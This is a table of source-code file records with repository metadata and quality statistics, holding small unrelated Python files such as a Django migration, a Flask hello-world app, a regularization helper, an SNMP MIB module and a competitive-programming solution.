hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3c0b7c543d0e1e37691cc481259cf37b4efbdf87 | 913 | py | Python | home/migrations/0003_auto_20210317_0823.py | witty-technologies-empowerment/codeupblood | a0aa1725e5776d80e083b6d4e9e67476bb97e983 | [
"MIT"
] | null | null | null | home/migrations/0003_auto_20210317_0823.py | witty-technologies-empowerment/codeupblood | a0aa1725e5776d80e083b6d4e9e67476bb97e983 | [
"MIT"
] | null | null | null | home/migrations/0003_auto_20210317_0823.py | witty-technologies-empowerment/codeupblood | a0aa1725e5776d80e083b6d4e9e67476bb97e983 | [
"MIT"
] | 1 | 2022-01-19T11:09:13.000Z | 2022-01-19T11:09:13.000Z | # Generated by Django 3.1.6 on 2021-03-17 15:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('home', '0002_auto_20210317_0741'),
]
operations = [
migrations.AlterField(
model_name='homeslide',
name='line_one',
field=models.CharField(blank=True, max_length=20),
),
migrations.AlterField(
model_name='homeslide',
name='line_three',
field=models.CharField(blank=True, max_length=20),
),
migrations.AlterField(
model_name='homeslide',
name='line_two',
field=models.CharField(blank=True, max_length=20),
),
migrations.AlterField(
model_name='homeslide',
name='sub_title',
field=models.CharField(blank=True, max_length=40),
),
]
| 26.852941 | 62 | 0.570646 | 93 | 913 | 5.44086 | 0.473118 | 0.158103 | 0.197628 | 0.229249 | 0.667984 | 0.667984 | 0.667984 | 0.501976 | 0.501976 | 0.501976 | 0 | 0.062201 | 0.313253 | 913 | 33 | 63 | 27.666667 | 0.744817 | 0.049288 | 0 | 0.555556 | 1 | 0 | 0.113164 | 0.026559 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037037 | 0 | 0.148148 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3c16535abf7e14534c5c2dbe28a1a689fefc2f11 | 174 | py | Python | mlflow/entities/source_type.py | ToonKBC/mlflow | fb9abd87afdefc8409adea409bca329215701e6e | [
"Apache-2.0"
] | 2 | 2019-08-31T10:18:47.000Z | 2022-02-13T13:34:14.000Z | mlflow/entities/source_type.py | ToonKBC/mlflow | fb9abd87afdefc8409adea409bca329215701e6e | [
"Apache-2.0"
] | 5 | 2018-08-29T00:46:14.000Z | 2018-08-31T07:17:58.000Z | mlflow/entities/source_type.py | ToonKBC/mlflow | fb9abd87afdefc8409adea409bca329215701e6e | [
"Apache-2.0"
] | 2 | 2019-11-06T23:26:40.000Z | 2020-12-18T08:59:20.000Z | class SourceType(object):
"""Enum describing the originating source of a :py:class:`mlflow.entities.run.Run`."""
NOTEBOOK, JOB, PROJECT, LOCAL, UNKNOWN = range(1, 6)
| 43.5 | 90 | 0.701149 | 24 | 174 | 5.083333 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013514 | 0.149425 | 174 | 3 | 91 | 58 | 0.810811 | 0.45977 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3c4d7c0acba2bd0199942721964937eb112ef904 | 68 | py | Python | poweradvantage/__init__.py | Xilinx/jupyter-pat | c49b4a38b171374195348b494e314859819c348b | [
"BSD-3-Clause"
] | null | null | null | poweradvantage/__init__.py | Xilinx/jupyter-pat | c49b4a38b171374195348b494e314859819c348b | [
"BSD-3-Clause"
] | null | null | null | poweradvantage/__init__.py | Xilinx/jupyter-pat | c49b4a38b171374195348b494e314859819c348b | [
"BSD-3-Clause"
] | null | null | null | name = "poweradvantage"
from .poweradvantage import poweradvantage
| 17 | 42 | 0.823529 | 6 | 68 | 9.333333 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 68 | 3 | 43 | 22.666667 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0.205882 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
3c66776d6a20d97d677c2ed14e3d689b1e3e94c9 | 213 | py | Python | flask/hello-world/hello_somebody.py | imsardine/learning | 925841ddd93d60c740a62e12d9f57ef15b6e0a20 | [
"MIT"
] | null | null | null | flask/hello-world/hello_somebody.py | imsardine/learning | 925841ddd93d60c740a62e12d9f57ef15b6e0a20 | [
"MIT"
] | null | null | null | flask/hello-world/hello_somebody.py | imsardine/learning | 925841ddd93d60c740a62e12d9f57ef15b6e0a20 | [
"MIT"
] | null | null | null | from flask import Flask
app = Flask(__name__)
@app.route('/')
@app.route('/<somebody>')
def hello(somebody='World'):
# Use two routes to implement optional URL parameters.
return 'Hello, %s!' % somebody
| 21.3 | 58 | 0.680751 | 28 | 213 | 5.035714 | 0.714286 | 0.113475 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.164319 | 213 | 9 | 59 | 23.666667 | 0.792135 | 0.244131 | 0 | 0 | 0 | 0 | 0.170886 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0.166667 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
3c756b97981c017b2588963be5e702108347ee7e | 590 | py | Python | src/regularization/regularization.py | kryvokhyzha/gradient-descent | c9b6c0a483c5c1495b219167d61b0c211c783364 | [
"MIT"
] | 1 | 2021-02-22T20:02:21.000Z | 2021-02-22T20:02:21.000Z | src/regularization/regularization.py | kryvokhyzha/gradient-descent | c9b6c0a483c5c1495b219167d61b0c211c783364 | [
"MIT"
] | null | null | null | src/regularization/regularization.py | kryvokhyzha/gradient-descent | c9b6c0a483c5c1495b219167d61b0c211c783364 | [
"MIT"
] | 1 | 2020-05-31T22:31:23.000Z | 2020-05-31T22:31:23.000Z | import numpy as np
def get_regularization_func(C, regularization, y_len, mini_batch_size=32):
if regularization is None:
penalty = lambda x: (x * 0).sum()
grad_penalty = lambda x: x * 0
elif regularization == 'L1':
penalty = lambda x: C*np.abs(x)[1:, :].sum() / (y_len * 2)
grad_penalty = lambda x: C*((x >= 0) + (x < 0) * (-1)) / (mini_batch_size * 2)
elif regularization == 'L2':
penalty = lambda x: C * np.square(x)[1:, :].sum() / (y_len * 2)
grad_penalty = lambda x: C * x / mini_batch_size
return penalty, grad_penalty | 39.333333 | 86 | 0.588136 | 89 | 590 | 3.730337 | 0.359551 | 0.23494 | 0.253012 | 0.180723 | 0.379518 | 0.180723 | 0.180723 | 0.180723 | 0.180723 | 0.180723 | 0 | 0.031963 | 0.257627 | 590 | 15 | 87 | 39.333333 | 0.726027 | 0 | 0 | 0 | 0 | 0 | 0.006768 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3c75907ccc7d52b8fc8c7dfdd6346829a485059e | 186 | py | Python | service/type_service.py | AliceHu0619/news-management-system | 88dd7b093b8fcaff47805a27cf6e6b9ab695abbc | [
"MIT"
] | null | null | null | service/type_service.py | AliceHu0619/news-management-system | 88dd7b093b8fcaff47805a27cf6e6b9ab695abbc | [
"MIT"
] | null | null | null | service/type_service.py | AliceHu0619/news-management-system | 88dd7b093b8fcaff47805a27cf6e6b9ab695abbc | [
"MIT"
] | null | null | null | from db.type_dao import TypeDao
class TypeService:
__type_dao=TypeDao()
# 查询新闻类型列表
def search_list(self):
result=self.__type_dao.search_list()
return result
| 20.666667 | 44 | 0.693548 | 24 | 186 | 5 | 0.625 | 0.175 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231183 | 186 | 8 | 45 | 23.25 | 0.839161 | 0.043011 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.833333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
3c86944963a375380d25997b170714d0558e78d3 | 316 | py | Python | lib/galaxy/util/path/ntpath.py | tdans1/Use-Galaxy | e9f05cb1b11db20a729ac73520f886ee619c6b90 | [
"CC-BY-3.0"
] | 4 | 2018-10-29T18:34:38.000Z | 2021-09-29T23:30:42.000Z | lib/galaxy/util/path/ntpath.py | tdans1/Use-Galaxy | e9f05cb1b11db20a729ac73520f886ee619c6b90 | [
"CC-BY-3.0"
] | null | null | null | lib/galaxy/util/path/ntpath.py | tdans1/Use-Galaxy | e9f05cb1b11db20a729ac73520f886ee619c6b90 | [
"CC-BY-3.0"
] | 3 | 2020-02-12T15:22:24.000Z | 2021-08-19T10:27:39.000Z | """Galaxy "safe" path functions forced to work with Windows-style paths regardless of current platform
"""
from __future__ import absolute_import
import ntpath # noqa: I100 See https://github.com/PyCQA/flake8-import-order/pull/115
import sys
from . import _build_self
_build_self(sys.modules[__name__], ntpath)
| 26.333333 | 102 | 0.787975 | 46 | 316 | 5.130435 | 0.782609 | 0.076271 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025271 | 0.123418 | 316 | 11 | 103 | 28.727273 | 0.826715 | 0.53481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.8 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
b1cd7f361f6ac2f9636bea31e51b2706e458663a | 70 | py | Python | 6/6.3.py | zarina494/fisrt_git_lesson | 169fc205b3a99a84f1041d578c4c120555162a66 | [
"MIT"
] | null | null | null | 6/6.3.py | zarina494/fisrt_git_lesson | 169fc205b3a99a84f1041d578c4c120555162a66 | [
"MIT"
] | null | null | null | 6/6.3.py | zarina494/fisrt_git_lesson | 169fc205b3a99a84f1041d578c4c120555162a66 | [
"MIT"
] | null | null | null | list = [1,2,3,4]
test_list = list1
test_list.reverse()
print(list)
| 8.75 | 19 | 0.671429 | 13 | 70 | 3.461538 | 0.692308 | 0.355556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084746 | 0.157143 | 70 | 7 | 20 | 10 | 0.677966 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.25 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
5908474581a649feeaff9195fd51e6efc4bcc452 | 1,131 | py | Python | shadho/managers/manager.py | sabraha2/shadho | c17109a4526961113933d1189f0ca98eb8119ac1 | [
"MIT"
] | null | null | null | shadho/managers/manager.py | sabraha2/shadho | c17109a4526961113933d1189f0ca98eb8119ac1 | [
"MIT"
] | null | null | null | shadho/managers/manager.py | sabraha2/shadho | c17109a4526961113933d1189f0ca98eb8119ac1 | [
"MIT"
] | null | null | null | """Base class for SHADHO task managers.
Classes
-------
Manager
Base class for task managers.
"""
class Manager():
"""Base class for task managers.
Notes
-----
To implement a new local or distributed manager, create an __init__
method and override all
"""
def __init__(self):
pass
def add_task(self, tag, cmd, params):
"""Add a task for the manger to run.
Override this with all of the arguments necessary to run the task.
Parameters
----------
cmd
Command or function to run in the task.
tag : str
Task id generated by SHADHO.
params : dict
Generarted hyperparameters to send to the task.
"""
raise NotImplementedError
def can_accept_tasks(self):
"""
"""
raise NotImplementedError
def handle_success(self):
"""
"""
raise NotImplementedError
def handle_failure(self):
"""
"""
raise NotImplementedError
def run_task(self):
"""
"""
raise NotImplementedError | 20.563636 | 74 | 0.559682 | 120 | 1,131 | 5.158333 | 0.483333 | 0.193861 | 0.174475 | 0.150242 | 0.219709 | 0.100162 | 0 | 0 | 0 | 0 | 0 | 0 | 0.352785 | 1,131 | 55 | 75 | 20.563636 | 0.845628 | 0.485411 | 0 | 0.384615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.461538 | false | 0.076923 | 0 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
5908fb762191a70522748c2baac23a20f269187f | 312 | py | Python | Competitions/Codechef/LTIME50/MAXOR.py | cnm06/Competitive-Programming | 94242ae458570d503b8218f37624b88cc5020d23 | [
"MIT"
] | 994 | 2017-02-28T06:13:47.000Z | 2022-03-31T10:49:00.000Z | Competitions/Codechef/LTIME50/MAXOR.py | Quadrified/Competitive-Programming | bccb69952cc5260fb3647b3301ddac1023dacac8 | [
"MIT"
] | 16 | 2018-01-01T02:59:55.000Z | 2021-11-22T12:49:16.000Z | Competitions/Codechef/LTIME50/MAXOR.py | Quadrified/Competitive-Programming | bccb69952cc5260fb3647b3301ddac1023dacac8 | [
"MIT"
] | 325 | 2017-06-15T03:32:43.000Z | 2022-03-28T22:43:42.000Z | t = int(raw_input().strip())
for i in xrange(t):
n = int(raw_input().strip())
data = [int(j) for j in raw_input().strip().split()]
ans = 0
for j in xrange(n - 1):
for k in xrange(j + 1, n):
if data[j] | data[k] <= max(data[j], data[k]):
ans += 1
print ans
| 28.363636 | 58 | 0.487179 | 54 | 312 | 2.759259 | 0.37037 | 0.161074 | 0.261745 | 0.214765 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018957 | 0.323718 | 312 | 10 | 59 | 31.2 | 0.687204 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.1 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
5913b08d1b8f4e9abaadd091b46940e8c39e38f1 | 90,147 | py | Python | pysnmp/Nortel-Magellan-Passport-FrameRelayDteMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/Nortel-Magellan-Passport-FrameRelayDteMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/Nortel-Magellan-Passport-FrameRelayDteMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module Nortel-Magellan-Passport-FrameRelayDteMIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Nortel-Magellan-Passport-FrameRelayDteMIB
# Produced by pysmi-0.3.4 at Mon Apr 29 20:17:39 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueRangeConstraint, ValueSizeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection", "ValueRangeConstraint", "ValueSizeConstraint")
RowStatus, Integer32, Gauge32, Counter32, PassportCounter64, StorageType, InterfaceIndex, Unsigned32, DisplayString = mibBuilder.importSymbols("Nortel-Magellan-Passport-StandardTextualConventionsMIB", "RowStatus", "Integer32", "Gauge32", "Counter32", "PassportCounter64", "StorageType", "InterfaceIndex", "Unsigned32", "DisplayString")
NonReplicated, HexString, EnterpriseDateAndTime, Link, DashedHexString = mibBuilder.importSymbols("Nortel-Magellan-Passport-TextualConventionsMIB", "NonReplicated", "HexString", "EnterpriseDateAndTime", "Link", "DashedHexString")
components, passportMIBs = mibBuilder.importSymbols("Nortel-Magellan-Passport-UsefulDefinitionsMIB", "components", "passportMIBs")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
Integer32, Gauge32, Counter32, ObjectIdentity, Unsigned32, MibIdentifier, NotificationType, Bits, Counter64, MibScalar, MibTable, MibTableRow, MibTableColumn, iso, IpAddress, ModuleIdentity, TimeTicks = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "Gauge32", "Counter32", "ObjectIdentity", "Unsigned32", "MibIdentifier", "NotificationType", "Bits", "Counter64", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "iso", "IpAddress", "ModuleIdentity", "TimeTicks")
TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString")
frameRelayDteMIB = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32))
frDte = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101))
frDteRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 1), )
if mibBuilder.loadTexts: frDteRowStatusTable.setStatus('mandatory')
frDteRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteRowStatusEntry.setStatus('mandatory')
frDteRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRowStatus.setStatus('mandatory')
frDteComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteComponentName.setStatus('mandatory')
frDteStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStorageType.setStatus('mandatory')
frDteIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 1, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 65535)))
if mibBuilder.loadTexts: frDteIndex.setStatus('mandatory')
frDteCidDataTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 20), )
if mibBuilder.loadTexts: frDteCidDataTable.setStatus('mandatory')
frDteCidDataEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 20, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteCidDataEntry.setStatus('mandatory')
frDteCustomerIdentifier = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 20, 1, 1), Unsigned32().subtype(subtypeSpec=ConstraintsUnion(ValueRangeConstraint(0, 0), ValueRangeConstraint(1, 8191), ))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteCustomerIdentifier.setStatus('mandatory')
frDteIfEntryTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 21), )
if mibBuilder.loadTexts: frDteIfEntryTable.setStatus('mandatory')
frDteIfEntryEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 21, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteIfEntryEntry.setStatus('mandatory')
frDteIfAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 21, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("up", 1), ("down", 2), ("testing", 3))).clone('up')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteIfAdminStatus.setStatus('mandatory')
frDteIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 21, 1, 2), InterfaceIndex().subtype(subtypeSpec=ValueRangeConstraint(1, 65535))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteIfIndex.setStatus('mandatory')
frDteProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 22), )
if mibBuilder.loadTexts: frDteProvTable.setStatus('mandatory')
frDteProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 22, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteProvEntry.setStatus('mandatory')
frDteAcceptUndefinedDlci = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 22, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteAcceptUndefinedDlci.setStatus('mandatory')
frDteStateTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 23), )
if mibBuilder.loadTexts: frDteStateTable.setStatus('mandatory')
frDteStateEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 23, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"))
if mibBuilder.loadTexts: frDteStateEntry.setStatus('mandatory')
frDteAdminState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 23, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("locked", 0), ("unlocked", 1), ("shuttingDown", 2))).clone('unlocked')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteAdminState.setStatus('mandatory')
frDteOperationalState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 23, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1))).clone(namedValues=NamedValues(("disabled", 0), ("enabled", 1))).clone('disabled')).setMaxAccess("readonly")
